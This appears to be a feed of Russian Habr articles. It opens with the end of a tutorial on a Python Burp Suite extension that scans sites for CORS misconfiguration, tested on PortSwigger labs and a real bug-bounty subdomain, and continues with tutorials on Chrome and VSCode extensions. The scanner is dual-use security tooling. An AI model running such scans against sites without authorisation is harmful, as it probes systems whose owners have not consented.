'Access-Control-Allow-Origin' in response_header:              issues.append(                CustomScanIssue(                  baseRequestResponse.getHttpService(),                  request_url,                  [response],                  'CORS Misconfiguration',                  payload['description'],                  payload['severity']                )              )                                          break        return issues        def consolidateDuplicateIssues(self, existingIssue, newIssue):    if existingIssue.getIssueDetail() == newIssue.getIssueDetail():      return -1    return 0class CustomScanIssue(IScanIssue):  def __init__(self, httpService, url, httpMessages, name, detail, severity):    self._httpService = httpService    self._url = url    self._httpMessages = httpMessages    self._name = name    self._detail = detail    self._severity = severity    self._confidence = 'Certain'  def getUrl(self):    return self._url  def getIssueName(self):    return self._name  def getIssueType(self):    return 0  def getSeverity(self):    return self._severity  def getConfidence(self):    return self._confidence  def getIssueBackground(self):    return None  def getRemediationBackground(self):    return None  def getIssueDetail(self):    return self._detail  def getRemediationDetail(self):    return None  def getHttpMessages(self):    return self._httpMessages  def getHttpService(self):    return self._httpServicetry:  FixBurpExceptions()except:  pass

На этом все, время устанавливать и тестировать наше творение.

Загружаем расширение в Burp

Тут все просто - открываем вкладку Extender, далее вкладка Extensions -> Add.
Extension type - естественно, Python
Extension file - выбираем наш файл

Жмем Next, начнется загрузка расширения. Должно появится сообщение, что расширение загружено успешно. Можем тестировать

Тестирование

Буквально во время написания статьи пришло уведомление с HackerOne о том, что была закрыта зарепорченая мной CORS misconfiguration, при которой сайт проверял только префикс Origin, так что такой пример не удалось показать.

Не будем далеко ходить - проведем наши тесты прям в лабах PortSwigger.

Первая из них - Origin Reflect. Ничего сложного, уязвимость присутствует в принципе всегда. Открываем лабу, логинимся в наш аккаунт под wiener:peter. Включаем прокси в браузере, обновляем нашу страницу, в которую мы залогинились. Как ни странно, ловим сразу 6 High репортов.

Сработали все 6 пейлоадов, что верноСработали все 6 пейлоадов, что верно

Вторая лаба - уязвимость, когда сайт доверяет Origin: null
Мы такую нагрузку делали, поэтому просто заходим в аккаунт под wiener:peter.Не удивляясь, ловим уязвимость

null originnull origin

Последняя третья лаба - на доступ с небезопасного протокола. Это как раз тот спорный момент, о котором я говорил. Логинимся в аккаунт, получаем это:

Medium, как и было задуманоMedium, как и было задумано

Можно проверить работу так же на настоящих сайтах (хотя, от лабы ничего не будет отличаться), но как я уже сказал, найденную мной хорошую уязвимость закрыли, так что глянем на другой субдомен этого же таргета, но уязвимость будет другого типа, а именно сайт разрешает запросы с любых субдоменов. Она существует потому что использовать ее нелегко, требуется либо XSS на субдомене, либо subdomain-takeover. Заходим на уязвимый URL, видим результат:

Репорт в dashboardРепорт в dashboardЗаголовки ответаЗаголовки ответа

Итоги

В этой статье я рассказал о процессе создания расширений для Burp Suite на языке Python. Я далеко не самый лучший разработчик расширений под него, да и сам процесс дело затруднительное. Возможно, я допустил некоторые ошибки в названиях либо в логике работы. Сказывается отсутствие опыта в Java и отсутствие документации для Python. Тем не менее, мы получили желаемое - а именно рабочее расширение для таких типов уязвимости как CORS misconfiguration. На мой взгляд - данная уязвимость гораздо интереснее, чем пресловутая XSS, и легче в исполнении. Однако импакт, которого можно достичь, достаточно велик. Я сканирую CORS всегда и везде, достаточно одной ошибки и в кармане уже Information Disclosure или сразу OTA.

Сканер такого рода уязвимостей для Burp - вещь несомненно хорошая, тем более расширения для CORS по какой-то причине отсутствуют в магазине (либо я не заметил).

Burp - отличный инструмент для хобби и заработка. Багхантеры знают, насколько высока бывает конкуренция, и автоматизация всего что можно в этом играет огромную роль. Я находил ошибки в известных компаниях только потому что автоматизирую все процессы, зачастую просматривая результаты автоматического сканирования и изучая руками.

Читателям - спасибо за то, что читали, багхантерам - удачи!

Никогда не переставайте учиться и изучать новые инструменты.

Подробнее..

Расширение для Google Chrome управляем скиллами друзей в LinkedIn

31.03.2021 00:12:34 | Автор: admin

Статья пригодится для новичков которые давно мечтали создать свое расширение для Google Chrome, но до дела так и не доходило. Поэтому давайте считать, что время пришло, пишем расширение прямо сейчас.

Данное расширение позволяет прожимать подтверждения скиллов на странице друга или отменить подтверждения скиллов. Полезно когда вместо десятков нажатий на "плюсики" Вы нажимаете только на одну кнопку расширения.

Предупреждаю: будет просто.

Что нам понадобится?

Немного времени, любой текстовый редактор (стандартный notepad подойдет.

Этого хватит чтобы пользоваться расширением на своем компьютере. Но если Вам нужно чтобы пользователи всего мира могли сами скачивать Ваше расширение, то будет необходимо добавить расширение в магазин Google Chrome заплатив 5$.

В любом месте на диске создаем директорию в которой будем создавать необходимые файлы.

Манифест расширения

Самый важный файл расширения - это его манифест. Данный файл описывает структуру Вашего расширения: название расширения, описание расширения, версия, необходимые для работы права, иконки, ссылки на файлы расширения.

Создаем файл с именем manifest.json:

{"manifest_version": 2,"name": "Linkedin Manage Friend Skills","description": "Linkedin Manage Friend Skills","version": "1.0.0","content_scripts": [{"matches": ["*://www.linkedin.com/*"],"js": ["content.js"]}],"icons": {"128": "icon_128.png"},"browser_action": {"default_icon": "icon.png","default_popup": "popup.html"}}

manifest_version - недавно вышла версия 3, но большинство расширений сейчас на версии 2
name - здесь название расширения
description - описание расширения
version - версия расширения, для начала можно задать 1.0.0
content_scripts:
matches - описывает шаблон по которому скрипты будут знать на какой странице можно работать, в данном случае на сайте www.linkedin.com
js - имя рабочего скрипта расширения (javascript формат)
icons - список иконок для отображения в настроках расширений браузера (128 подразумевает что Вы сделаете иконку размером 128x128 пикселей)
browser_action:
default_icon - иконка для отображения расширения
default_popup - html окно которое откроется при клике мышкой по иконке расширения

Иконка

В директорию с манифестом нужно скопировать файл icon.png размером 128x128 пикселей. Эта иконка будет отображаться на панели расширений браузера. Скачайте любую подходящую картинку из Интернет или создайте свою собственную.

Также скопируйте в директорию иконку icon_128.png размером 128x128 пикселей. Она будет отображаться в настройках браузера в меню "Расширения".

Окно расширения

В директории с манифестом создаем текстовый файл с именем popup.html.

Чтобы окно выглядело более менее красиво, кроме голой html-разметки используем стили.

Само окно представляет собой текст названия расширения с двумя кнопками: "Accept skills" и "Reject skills".

Текст popup.html
<!DOCTYPE html><html><head>   <meta charset="utf-8">   <title>Linkedin Accept Friend Skills</title>   <!--ссылаемся на шрифты, используемые в документе-->   <link href="http://personeltest.ru/aways/fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css">   <!--здесь мы ссылаемся на стили, которые будем использовать в документе, а именно стиль иконок-->   <link href="http://personeltest.ru/aways/maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" ><style>    /* Модальная структура документа */    /*общие настройки для всего документа*/    html,    body {      font-family: 'Open Sans', sans-serif;      font-size:18px;      verticalalign: text-bottom;;      margin: 0;      min-height: 100px;      padding: 0;      width: 380px;    }    /*задаём настройки для заголовков первого уровня*/    h1 {      font-family: 'Menlo', monospace;      font-size: 22px;      font-weight: 400;      margin: 0;      color: #2f5876;    }    a:link,    a:visited {      color: #000000;      outline: 0;      text-decoration: none;    }    .logo {      padding: 16px; /*отступы со всех сторон*/    }    .logo-icon {      vertical-align: text-bottom; /*выравнивание по нижней части текста*/      margin-right: 12px; /*задётся отступ элементов от изображения*/    }    .version {      color: #444;      font-size: 18px;    }    .flex-container {      display: flex; /*отображает контейнер в виде блочного элемента*/      justify-content: space-between; /*равномерное выравнивание элементов*/      padding: 10px 22px;    }    /*задаём настройки для контейнеров с иконками*/    .flex {      opacity: 1; /*параметр непрозрачности иконок*/      width: 200px;    }    .flex:hover {      opacity: 0.4; /*уровень непрозрачности при наведении курсора на элемент*/    }    .flex .fa {      font-size: 40px;      color: #2f5876;    }  </style></head><body><div class="modal-header">   <h1 class="logo">      <span class="version">Linkedin Manage Friend Skills</span>   </h1></div><div class="modal-icons">    <div class="flex-container">      <button id="accept" class="flex">          <i class="fa fa-check"></i>          <span>Accept skills</span>      </button>      <button id="reject" class="flex">          <i class="fa fa-ban"></i>          <span>Reject skills</span>      </button>    </div>  </div><script src="popup.js"></script></body></html>

На 88-й строке popup.html происходит загрузка popup.js

Скрипт загружается при загрузке страницы и добавляет на загружаемую страницу 2 метода для наших кнопок: "onclick_accept" для первой кнопки и "onclick_reject" для второй. Данные методы отправляют в скрипт content.js команду "+" для автоматического подтверждения скиллов или "-" для автоматической отмены подтверждений скиллов.

Файл скрипта popup.js представлен ниже. Данный файл также создаем в директории с манифестом.

document.addEventListener('DOMContentLoaded', function() {    document.querySelector('#accept').addEventListener('click', onclick_accept, false)    document.querySelector('#reject').addEventListener('click', onclick_reject, false)    function onclick_accept() {          chrome.tabs.query({currentWindow: true, active: true},          function (tabs) {            chrome.tabs.sendMessage(tabs[0].id, '+')          })    }    function onclick_reject() {          chrome.tabs.query({currentWindow: true, active: true},          function (tabs) {        chrome.tabs.sendMessage(tabs[0].id, '-')          })    }}, false);

Файл скриптов

В директории с манифестом создаем текстовый файл с именем content.js:

Текст content.js

Данный скрипт при нажатии кнопок расширения получает команды из скрипта "+" или "-" и выполняет соответствующий код.

Если команда "+", то происходит поиск кнопок на странице с неподтвержденными скиллами и по очереди прожимает их.

Если команда "-", то происходит поиск кнопок на странице с подтвержденными скиллам и по очереди прожимает их.

Список файлов в директории расширения выглядит так:

Установка расширения

Первым делом необходимо открыть настройки расширений в браузере.
Способ 1: в адресной строке Google Chrome вводим chrome://extensions/
Способ 2: открываем настройки Google Chrome, переходим в меню "Дополнительные инструменты" и далее в "Расширения".

В верхнем правом углу меню "Расширения" необходимо включить "Режим разработчика".
Для загрузки нового расширения следует нажать на кнопку "Загрузить распакованное расширение" и выбрать каталог с файлами Вашего расширения.

Экран любого загруженного расширения позволяет управлять расширением: включение/выключение, перезапуск, удаление, подробная информация.

Чтобы закрепить расширение на панели расширений нужно сделать следующее:

Как пользоваться расширением

В текущей разработке для подтверждения или отмены подтверждения скиллов нужно находясь на странице Linkedin Вашего друга пролистать страницу вниз до загрузки блока скиллов. После этого можно пользоваться кнопками расширения. Если у Вас есть рабочий способ решить этот момент чтобы не нужно было пролистывать, то прошу рассказать в комментариях.

Подробнее..

Сниппет, расширение для VSCode и CLI. Часть 1

04.12.2020 14:04:54 | Автор: admin


Доброго времени суток, друзья!

В процессе разработки Современного стартового HTML-шаблона я задумался о расширении возможностей его использования. На тот момент варианты его применения ограничивались клонированием репозитория и скачиванием архива. Так появились HTML-сниппет и расширение для Microsoft Visual Studio Code HTML Template, а также интерфейс командной строки create-modern-template. Конечно, указанные инструменты далеки от совершенства и я буду их дорабатывать по мере сил и возможностей. Однако, в процессе их создания я узнал несколько интересных вещей, которыми и хочу с вами поделиться.

В этой части мы рассмотрим сниппет и расширение, а CLI в следующей.

Если вас интересует лишь исходный код, вот ссылка на репозиторий.

Сниппет (Snippet)


Что такое сниппет? Если коротко, сниппет это заготовка, которую использует редактор для автозаполнения (автодополнения кода).

В VSCode встроен Emmet (официальный сайт, Emmet in Visual Studio Code), который использует многочисленные HTML, CSS и JS-сниппеты для помощи в написании кода. Набираем в редакторе (в .html) !, нажимаем Tab или Enter, получаем готовую html5-разметку. Набираем nav>ul>li*3>a.link>img, нажимаем Tab, получаем:

<nav>    <ul>      <li><a href="" class="link"><img src="" alt=""></a></li>      <li><a href="" class="link"><img src="" alt=""></a></li>      <li><a href="" class="link"><img src="" alt=""></a></li>    </ul>  </nav>

и т.д.

Кроме встроенных, VSCode предусматривает возможность использования пользовательских сниппетов. Для их создания необходимо перейти в File -> Preferences -> User Snippets (или нажать на кнопку Manage в левом нижнем углу и выбрать User Snippets). Настройки для каждого языка хранятся в соответствующем JSON-файле (для HTML в html.json, для JavaScript в javascript.json и т.д.).

Потренируемся создавать JS-сниппеты. Находим файл javascript.json и открываем его.



Видим комментарии, кратко описывающие правила создания сниппетов. Более подробную информацию о создании пользовательских сниппетов в VSCode можно найти здесь.

Начнем с чего-нибудь простого. Создадим сниппет для console.log(). Вот как он выглядит:

"Print to console": {  "prefix": "log",  "body": "console.log($0)",  "description": "Create console.log()"},

  • Print to console ключ объекта, название сниппета (обязательно)
  • prefix сокращение для сниппета (обязательно)
  • body сам сниппет (обязательно)
  • $число положение курсора после создания сниппета; $1 первое положение, $2 второе и т.д., $0 последнее положение (опционально)
  • description описание сниппета (опционально)

Сохраняем файл. Набираем log в скрипте, нажимаем Tab или Enter, получаем console.log() с курсором между скобками.

Создадим сниппет для цикла for-of:

"For-of loop": {  "prefix": "fo",  "body": [    "for (const ${1:item} of ${2:arr}) {",    "\t$0",    "}"  ]},

  • Сниппеты, состоящие из нескольких строк, создаются с помощью массива
  • ${число: значение}; ${1:item} означает первое положение курсора со значением item по умолчанию; данное значение выделяется после создания сниппета, а также после перехода к следующему положению курсора для быстрого редактирования
  • \t один отступ (величина оступа определяется соответствующими настройками редактора или, как в моем случае, расширения Prettier), \t\t два отступа и т.д.

Набираем в скрипте fo, нажимаем Tab или Enter, получаем:

for (const item of arr) {}

с выделенным item. Нажимаем Tab, выделяется arr. Еще раз нажимаем Tab, переходим на вторую строку.

Вот еще несколько примеров:

"For-in loop": {  "prefix": "fi",  "body": [    "for (const ${1:key} in ${2:obj}) {",    "\t$0",    "}"  ]},"Get one element": {  "prefix": "qs",  "body": "const $1 = ${2:document}.querySelector('$0')"},"Get all elements": {  "prefix": "qsa",  "body": "const $1 = [...${2:document}.querySelectorAll('$0')]"},"Add listener": {  "prefix": "al",  "body": [    "${1:document}.addEventListener('${2:click}', (${3:{ target }}) => {",    "\t$0",    "})"  ]},"Async function": {  "prefix": "af",  "body": [    "const $1 = async ($2) => {",    "\ttry {",    "\t\tconst response = await fetch($3)",    "\t\tconst data = await res.json()",    "\t\t$0",    "\t} catch (err) {",    "\t\tconsole.error(err)",    "\t}",    "}"  ]}

HTML-сниппеты строятся по такому же принципу. Вот как выглядит HTML Template:

{  "HTML Template": {    "prefix": "html",    "body": [      "<!DOCTYPE html>",      "<html",      "\tlang='en'",      "\tdir='ltr'",      "\titemscope",      "\titemtype='https://schema.org/WebPage'",      "\tprefix='og: http://ogp.me/ns#'",      ">",      "\t<head>",      "\t\t<meta charset='UTF-8' />",      "\t\t<meta name='viewport' content='width=device-width, initial-scale=1' />",      "",      "\t\t<title>$1</title>",      "",      "\t\t<meta name='referrer' content='origin' />",      "\t\t<link rel='canonical' href='$0' />",      "\t\t<link rel='icon' type='image/png' href='./icons/64x64.png' />",      "\t\t<link rel='manifest' href='./manifest.json' />",      "",      "\t\t<!-- Security -->",      "\t\t<meta http-equiv='X-Content-Type-Options' content='nosniff' />",      "\t\t<meta http-equiv='X-XSS-Protection' content='1; mode=block' />",      "",      "\t\t<meta name='author' content='$3' />",      "\t\t<meta name='description' content='$2' />",      "\t\t<meta name='keywords' content='$4' />",      "",      "\t\t<meta itemprop='name' content='$1' />",      "\t\t<meta itemprop='description' content='$2' />",      "\t\t<meta itemprop='image' content='./icons/128x128.png' />",      "",      "\t\t<!-- Microsoft -->",      "\t\t<meta http-equiv='x-ua-compatible' content='ie=edge' />",      "\t\t<meta name='application-name' content='$1' />",      "\t\t<meta name='msapplication-tooltip' content='$2' />",      "\t\t<meta name='msapplication-starturl' content='/' />",      "\t\t<meta name='msapplication-config' content='browserconfig.xml' />",      "",      "\t\t<!-- Facebook -->",      "\t\t<meta property='og:type' content='website' />",      "\t\t<meta property='og:url' content='$0' />",      "\t\t<meta property='og:title' content='$1' />",      "\t\t<meta property='og:image' content='./icons/256x256.png' />",      "\t\t<meta property='og:site_name' content='$1' />",      "\t\t<meta property='og:description' content='$2' />",      "\t\t<meta property='og:locale' content='en_US' />",      "",      "\t\t<!-- Twitter -->",      "\t\t<meta name='twitter:title' content='$1' />",      "\t\t<meta name='twitter:description' content='$2' />",      "\t\t<meta name='twitter:url' content='$0' />",      "\t\t<meta name='twitter:image' content='./icons/128x128.png' />",      "",      "\t\t<!-- IOS -->",      "\t\t<meta name='apple-mobile-web-app-title' content='$1' />",      "\t\t<meta name='apple-mobile-web-app-capable' content='yes' />",      "\t\t<meta name='apple-mobile-web-app-status-bar-style' content='#222' />",      "\t\t<link rel='apple-touch-icon' href='./icons/256x256.png' />",      "",      "\t\t<!-- Android -->",      "\t\t<meta name='theme-color' content='#eee' />",      "\t\t<meta name='mobile-web-app-capable' content='yes' />",      "",      "\t\t<!-- Google Verification Tag -->",      "",      "\t\t<!-- Global site tag (gtag.js) - Google Analytics -->",      "",      "\t\t<!-- Global site tag (gtag.js) - Google Analytics -->",      "",      "\t\t<!-- Yandex Verification Tag -->",      "",      "\t\t<!-- Yandex.Metrika counter -->",      "",      "\t\t<!-- Mail Verification Tag -->",      "",      "\t\t<!-- JSON-LD -->",      "\t\t<script type='application/ld+json'>",      "\t\t\t{",      "\t\t\t\t'@context': 'http://schema.org/',",      "\t\t\t\t'@type': 'WebPage',",      "\t\t\t\t'name': '$1',",      "\t\t\t\t'image': [",      "\t\t\t\t\t'$0icons/512x512.png'",      "\t\t\t\t],",      "\t\t\t\t'author': {",      "\t\t\t\t\t'@type': 'Person',",      "\t\t\t\t\t'name': '$3'",      "\t\t\t\t},",      "\t\t\t\t'datePublished': '2020-11-20',",      "\t\t\t\t'description': '$2',",      "\t\t\t\t'keywords': '$4'",      "\t\t\t}",      "\t\t</script>",      "",      "\t\t<!-- Google Fonts -->",      "",      "\t\t<style>",      "\t\t\t/* Critical CSS */",      "\t\t</style>",      "",      "\t\t<link rel='preload' href='./css/style.css' as='style'>",      "\t\t<link rel='stylesheet' href='./css/style.css' />",      "",      "<link rel='preload' href='./script.js' as='script'>",      "\t</head>",      "\t<body>",      "\t\t<!-- HTML5 -->",      "\t\t<header>",      "\t\t\t<h1>$1</h1>",      "\t\t\t<nav>",      "\t\t\t\t<a href='#' target='_blank' rel='noopener'>Link 1</a>",      "\t\t\t\t<a href='#' target='_blank' rel='noopener'>Link 2</a>",      "\t\t\t</nav>",      "\t\t</header>",      "",      "\t\t<main></main>",      "",      "\t\t<footer>",      "\t\t\t<p> 2020. All rights reserved</p>",      "\t\t</footer>",      "",      "\t\t<script src='./script.js' type='module'></script>",      "\t</body>",      "</html>"    ],    "description": "Create Modern HTML Template"  }}

Набираем html, нажимаем Tab или Enter, получаем разметку. Положения курсора определены в следующем порядке: название приложения (title), описание (description), автор (author), ключевые слова (keywords), адрес (url).

Расширение (Extension)


На сайте VSCode имеется отличная документация по созданию расширений.

Мы создадим два варианта расширения: в форме сниппетов и в форме CLI. Второй вариант опубликуем в Visual Studio Marketplace.

Примеры расширений в форме сниппетов:


Расширения в форме CLI менее популярны, вероятно, по той причине, что существуют настоящие CLI.

Расширение в форме сниппетов

Для разработки расширений для VSCode, нам, кроме Node.js и Git, потребуется еще парочка библиотек, точнее, одна библиотека и плагин, а именно: yeoman и generator-code. Устанавливаем их глобально:

npm i -g yo generator-code// илиyarn global add yo generator-code

Выполняем команду yo code, выбираем New Code Snippets, отвечаем на вопросы.



Осталось скопировать созданный нами ранее HTML-сниппет в файл snippets/snippets.code-snippets (файлы сниппетов также могут иметь расширение json), отредактировать package.json и README.md, и можно публиковать расширение в маркетплейсе. Как видите, все очень просто. Слишком просто, подумал я, и решил создать расширение в форме CLI.

Расширение в форме CLI

Снова выполняем команду yo code. На этот раз выбираем New Extension (TypeScript) (не бойтесь, TypeScript в нашем коде почти не будет, а там, где будет, я дам необходимые разъяснения), отвечаем на вопросы.



Для того, чтобы убедиться в работоспособности расширения, открываем проект в редакторе:

cd htmltemplatecode .

Нажимаем F5 или на кнопку Run (Ctrl/Cmd+Shift+D) слева и кнопку Start Debugging сверху. Иногда при запуске можно получить ошибку. В этом случае отменяем запуск (Cancel) и повторяем процедуру.

В открывшемся редакторе нажимаем View -> Command Palette (Ctrl/Cmd+Shift+P), набираем hello и выбираем Hello World.



Получаем информационное сообщение от VSCode и соответствующее сообщение (поздравление) в консоли.



Из всех файлов, имеющихся в проекте, нас интересуют package.json и src/extension.ts. Директорию src/test и файл vsc-extension-quickstart.md можно удалить.

Заглянем в extension.ts (комментарии удалены для удобочитаемости):

// импорт функционала VSCodeimport * as vscode from 'vscode'// функция, вызываемая при активации расширенияexport function activate(context: vscode.ExtensionContext) {  // сообщение, выводимое в консоль редактора,  // в котором запущена отладка расширения  console.log('Congratulations, your extension "htmltemplate" is now active!')  // функционал расширения  // команда - это свойство расширения  // htmltemplate - название расширения  // helloWorld - название команды  let disposable = vscode.commands.registerCommand(    'htmltemplate.helloWorld',    () => {      // информационное сообщение, отображаемое в редакторе      // при успешном выполнении команды      vscode.window.showInformationMessage('Hello World from htmltemplate!')    }  )  // регистрация команды  // судя по всему, здесь реализован паттерн проектирования "Подписка/Уведомление",  // один из вариантов паттерна "Наблюдатель"  context.subscriptions.push(disposable)}// функция, вызываемая при деактивации расширенияexport function deactivate() {}

Важный момент: 'расширение.команда' в extension.ts должно совпадать со значениями полей activationEvents и command в package.json:

"activationEvents": [  "onCommand:htmltemplate.helloWorld"],"contributes": {  "commands": [    {      "command": "htmltemplate.helloWorld",      "title": "Hello World"    }  ]},

  • commands список команд
  • activationEvents функции, вызываемые при выполнении команд

Приступаем к разработке расширения.

Мы хотим, чтобы наше расширение по функционалу напоминало create-react-app или vue-cli, т.е. по команде create создавало проект, содержащий все необходимые файлы, в целевой директории.

Для начала отредактируем package.json:

"displayName": "HTML Template","activationEvents": [  "onCommand:htmltemplate.create"],"contributes": {  "commands": [    {      "command": "htmltemplate.create",      "title": "Create Template"    }  ]},

Создаем директорию src/components для хранения файлов проекта, которые будут копироваться в целевую директорию.

Создаем файлы проекта в виде ES6-модулей (VSCode по умолчанию использует ES6-модули (export/import), но поддерживает и CommonJS-модули (module.exports/require)): index.html.js, css/style.css.js, script.js и т.д. Содержимое файлов экспортируется по умолчанию:

// index.html.jsexport default `<!DOCTYPE html><html  lang="en"  dir="ltr"  itemscope  itemtype="http://personeltest.ru/aways/schema.org/WebPage"  prefix="og: http://ogp.me/ns#">  ...</html>`

Обратите внимание, что при таком подходе все изображения (в нашем случае, иконки) должны быть закодированы в Base64: вот один из подходящих онлайн-инструментов. Наличие строки data:image/png;base64, в начале преобразованного файла принципиального значение не имеет.

Для копирования (записи) файлов мы будем использовать fs-extra. Метод outputFile данной библиотеки делает томе самое, что и встроенный Node.js-метод writeFile, но также создает директорию для записываемого файла при ее отсутствии: например, если мы указали создать css/style.css, а директории css не существует, outputFile создаст ее и запишет туда style.css (writeFile при отсутствии директории выбросит исключение).

Файл extension.ts выглядит следующим образом:

import * as vscode from 'vscode'// импорт библиотеки fs-extraconst fs = require('fs-extra')const path = require('path')// импорт файлов проекта, точнее, содержимого этих файловimport indexHTML from './components/index.html.js'import styleCSS from './components/css/style.css.js'import scriptJS from './components/script.js'import icon64 from './components/icons/icon64.js'// ...export function activate(context: vscode.ExtensionContext) {  console.log('Congratulations, your extension "htmltemplate" is now active!')  let disposable = vscode.commands.registerCommand(    'htmltemplate.create',    () => {      // мы хотим, чтобы файлы проекта хранились в директории html-template      // filename: string указывает TypeScript-компилятору,      // что типом аргумента, передаваемого функции,      // должна быть строка      const folder = (filename: string) =>        path.join(vscode.workspace.rootPath, `html-template/${filename}`)      // массив с контентом файлов      // files: string[] означает, что значением переменной files является массив строк      const files: string[] = [        indexHTML,        styleCSS,        scriptJS,        icon64,        ...      ]      // массив с названиями файлов      // обратите внимание, что индексы контента и названий файлов должны совпадать      const fileNames: string[] = [        'index.html',        'css/style.css',        'script.js',        'server.js',        'icons/64x64.png',        ...      ]      ;(async () => {        try {          // перебираем массив с контентом          for (let i = 0; i < files.length; i++) {            // метод outputFile принимает два обязательных и один опциональный параметр:            // путь к файлу (его название), содержимое файла и кодировку (по умолчанию UTF-8)            // если название файла включает png,            // значит, мы имеем дело с Base64-изображением:            // указываем соответствующую кодировку            if (fileNames[i].includes('png')) {              await fs.outputFile(folder(fileNames[i]), files[i], 'base64')            // иначе, используем кодировку по умолчанию            } else {              await fs.outputFile(folder(fileNames[i]), files[i])            }          }          // информационное сообщение об успехе операции          return vscode.window.showInformationMessage(            'All files created successfully'          )        } catch {          // сообщение об ошибке          return vscode.window.showErrorMessage('Failed to create files')        }      })()    }  )  context.subscriptions.push(disposable)}export function deactivate() {}

Для того, чтобы TypeScript не обращал внимания на отсутствие типов импортируемых файлов-модулей, создадим src/global.d.ts следующего содержания:

declare module '*'

Протестируем расширение. Открываем его в редакторе:

cd htmltemplatecode .

Запускаем отладку (F5). Переходим в целевую директорию (test-dir, например) и выполняем команду create в Command Palette.



Получаем информационное сообщение об успешном создании файлов. Ура!



Публикация расширения в Visual Studio Marketplace

Для того, чтобы иметь возможность публиковать расширения для VSCode, необходимо сделать следующее:

  • Создать аккаунт в маркетплейсе (запомните значение поля publisher)
  • Глобально установить библиотеку vsce

Редактируем package.json:

{  "name": "htmltemplate",  "displayName": "HTML Template",  "description": "Modern HTML Starter Template",  "version": "1.0.0",  "publisher": "puslisher-name",  "license": "MIT",  "keywords": [    "html",    "html5",    "css",    "css3",    "javascript",    "js"  ],  "icon": "build/128x128.png",  "author": {    "name": "Author Name @githubusername"  },  "repository": {    "type": "git",    "url": "https://github.com/username/dirname"  },  "engines": {    "vscode": "^1.51.0"  },  "categories": [    "Snippets"  ],  "activationEvents": [    "onCommand:htmltemplate.create"  ],  "main": "./dist/extension.js",  "contributes": {    "commands": [      {        "command": "htmltemplate.create",        "title": "Create Template"      }    ]  },  ...}

Редактируем README.md.

Выполняем команду vsce package в директории расширения для создания публикуемого пакета с расширением vsix. Получаем файл htmltemplate-1.0.0.vsix.

На странице управления расширениями маркетплейса нажимаем кнопку New extension и выбираем Visual Studio Code. Переносим или загружаем в модальное окно VSIX-файл. Ждем завершения проверки.



После того, как рядом с номером версии появилась зеленая галочка, расширение становится доступным для установки в VSCode.



Для обновления расширения необходимо изменить номер версии в package.json, сгенерировать VSIX-файл и загрузить его в маркетплейс, нажав на кнопку More actions и выбрав Update.

Как видите, в создании и публикации расширений для VSCode нет ничего сверхестественного. На этом позвольте откланяться.

В следующей части мы создадим полноценный интерфейс командной строки сначала с помощью фреймворка от Heroku oclif, затем без него. Наш Node.js-CLI будет сильно отличаться от расширения, в нем будет присутствовать некоторая визуализация, возможность опциональной инициализации git и установки зависимостей.

Надеюсь, вы нашли для себя что-нибудь интересное. Благодарю за внимание.
Подробнее..

Пишем расширение-читалку для Habr

12.02.2021 08:05:33 | Автор: admin

Каждому разработчику однажды приходит в голову мысль написать что-то, чтобы упростить себе жизнь. Например, сократить время, проведённое за выполнением рутинных задач, или же позволить себе выполнять несколько действий одновременно.

В данной статье я хочу показать, как можно совместить утренние сборы на работу с прочтением статей на Habr. Для этого мы напишем простое расширение для браузеров на базе chromium (в частности, Chrome и Opera), которое будет зачитывать для нас вслух открытый во вкладке пост на Habr.

Расширение может быть использовано для чтения статей как на русском языке, так и на английском.

Автор туториалаАвтор туториала

Шаг 1. Определим состав расширения

Наше расширение будет состоять из нескольких частей:

  • манифест-файл manifest.json с описанием самого расширения, указанием его основных разрешений, прописыванием путей к иконкам, фоновым скриптами т.д.;

  • HTML-страница popup.html и CSS-файл style.css для popup-формы, на которой будет расположена панель управления воспроизведением аудио;

  • фоновый JavaScript-файл content.js, который будет обращаться к странице с открытым постом и воспроизводить её текстовое содержимое;

  • JavaScript-файл popup.js для popup-формы, с помощью которого фоновому скрипту будут передаваться команды пользователя, заданные через popup-форму;

  • иконки расширения 3 размеров: 128x128, 48x48, 16x16 пикселей.

В итоге получаем примерно такую структуру:

Структура проектаСтруктура проекта

Шаг 2. Подготавливаем манифест-файл

С помощью манифеста мы:

  • сообщаем о том, что мы сделали за расширение;

  • указываем, где хранятся его иконки;

  • запрашиваем доступы к вкладкам;

  • сообщаем о том, что будем выполнять фоновые скрипты;

  • указываем, какой popup мы будем использовать.

Здесь также присутствует разрешение на использование localStorage, если вы захотите менять и сохранять настройки без модификации кода. Пример расширения с применением настроек есть у меня на GitHub.

Содержимое manifest.json
{  "manifest_version": 2,  "name": "Habr Reader",  "description": "Расширение позволяет воспроизводить текст на странице со статьей на Хабре с возможностью изменения языка и скорости воспроизведения",  "version": "1.01",  "developer": {    "name": "Enji Rouz",    "url": "https://github.com/EnjiRouz/Habr-Reader-Extension"  },  "icons": {    "16": "res/icon16.png",    "48": "res/icon48.png",    "128": "res/icon128.png"  },  "permissions": [    "storage",    "http://*/*",    "https://*/*",    "tabs",    "contextMenus"  ],  "background": {    "scripts": ["js/content.js"],    "persistent": true  },  "browser_action": {    "default_icon": "res/icon128.png",    "default_popup": "popup.html",    "icon_128": "res/icon128.png"  },  "content_scripts": [{    "matches": ["<all_urls>"],    "js": ["js/content.js"]  }],  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"}

Шаг 3. Делаем popup-форму для управления воспроизведением

С помощью данной формы мы будем ненапрямую:

  • запускать проигрывание синтезированной речи;

  • ставить воспроизведение на паузу;

  • полностью останавливать воспроизведение;

  • менять скорость воспроизведения;

  • менять язык речи с русского на английский, и наоборот.

Для этого нам потребуется сделать в popup.html несколько кнопок для управления воспроизведением, поле для ввода скорости и переключатель для языков. К странице мы привяжем файл стилей style.css, а также скрипт popup.js, который мы будем запускать после того, как форма полностью загрузится. Для этого добавим после его определения ключевое слово defer.

Содержимое popup.html
